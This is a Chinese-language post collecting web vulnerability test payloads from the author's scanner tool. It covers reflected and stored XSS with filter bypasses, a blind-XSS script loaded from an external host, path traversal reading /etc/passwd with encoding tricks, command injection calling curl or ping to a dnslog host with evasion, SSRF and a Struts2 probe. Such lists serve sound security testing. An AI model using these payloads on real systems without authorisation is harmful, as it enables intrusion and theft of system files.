WEB漏洞測試payload整理
常用web漏洞測試的payload整理，把寫的一個類sqlmap的web安全漏洞測試工具的Payload整理下來，供大家測試時參考。
[反射型xss]
[在html形成]
" '><script>document.title="[random]";</script> <script>document.title="[random]";</script> <svg onload=document.title="[random]";>
[在js形成]
document.title="[random]";// ;document.title="[random]";// ";document.title="[random]"; ';document.title="[random]"; ");document.title="[random]"; ');document.title="[random]";
[在html屬性形成(img)]
888" onload=document.title="[random]" a=" 888' onload=document.title="[random]" a=' 888 onload=document.title="[random]"
[儲存型xss][通用payload] 測試環境，需要在觸發的地方檢視payload顯示情況
<script>alert(/StoredXssByScriptTag/);</script> "'><script>alert(/StoredXssByScriptTagBypass);</script> [Bypass on Event] [事件型繞過] <img src=1 onerror=alert(/StoredXssByImgTag/)> #一般富文字不會過濾img標籤 [Bypass pseudo protocol] [偽協議繞過] <iframe src=javascript:prompt(/StoredXssByIframeTag/);></iframe> <object data=data:text/html;base64,PHNjcmlwdD5wcm9tcHQoL1N0b3JlZFhzc0J5T2JqZWN0VGFnLyk7PC9zY3JpcHQ+></object> [Bypass html5 tag] [html5標籤繞過] <svg onload=prompt(/StoredXssBySvgTag/)> <embed src=javascript:alert(/StoredXssByEmbedTag/);> [Bypass html or js encode] [js編碼，html編碼，十進位制編碼繞過等] <embed src=javascript:alert(/StoredXssByEmbedTagAndHtmlEncode/);> <video><source onerror=alert(String.fromCharCode(47,83,116,111,114,101,100,88,115,115,98,121,86,105,100,101,111,84,97,103,65,110,100,83,116,114,105,110,103,69,110,99,111,100,101,47))> <script/src=data:text/j\141v\141script,\u0061%6C%65%72%74(/StoredXssbyScriptTagAndJSEncode/)></script> 如果進行盲測可以根據xss平臺地址替換相應的js觸發程式碼 "><script src=http://myxss.net/xxxxxx></script>
[靜態檔案讀取][常規檢測]
/../../../../../../../../../../../etc/passwd /../../../../../../../../../../../etc/hosts /../../../../../../../C:/Windows/system.ini [windows]
[偽造繞過]
/././././././././././././././././././././././././../../../../../../../../etc/passwd /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd /..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/hosts
[字尾繞過]
/../../../../../../../../../../../etc/passwd# /../../../../../../../../../../../etc/passwd%00 /../../../../../../../../../../../etc/passwd#.jpg /../../../../../../../../../../../etc/passwd%00.jpg /../../../../../../../../../../../etc/passwd#.html /../../../../../../../../../../../etc/passwd%00.html /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd# /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd#.jpg /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd#.html /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd%00.jpg /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd%00.html
[命令執行漏洞]
[常規檢測]
;curl [random].test.dnslog.link | curl [random].test.dnslog.link | ping -n 2 [random].test.dnslog.link [Windows] | ping -c 2 [random].test.dnslog.link [Linux]
[繞過檢測]
;curl [random].test.dnslog.link# | curl [random].test.dnslog.link# %20|%20curl%20[random].test.dnslog.link %20|%20curl%20[random].test.dnslog.link# %20|%20ping%20-n%202%20[random].test.dnslog.link %20|%20ping%20-c%202%20[random].test.dnslog.link# a=p;b=ing;c=c;d=2;$a$b -$c $d [random].test.dnslog.link a=c;b=url;$a$b [random].test.dnslog.link# ${IFS}|${IFS}curl${IFS}[random].test.dnslog.link ${IFS}|${IFS}ping${IFS}-c${IFS}2${IFS}[random].test.dnslog.link a=p;b=ing;c=c;d=2;$a$b{IFS}-$c{IFS}$d{IFS}[random].test.dnslog.link a=c;b=url;$a$b{IFS}[random].test.dnslog.link#
[ssrf漏洞]
http://[random].test.dnslog.link/
[strust2命令執行]
?redirect:http://[random].test.dnslog.link/%25{3*4}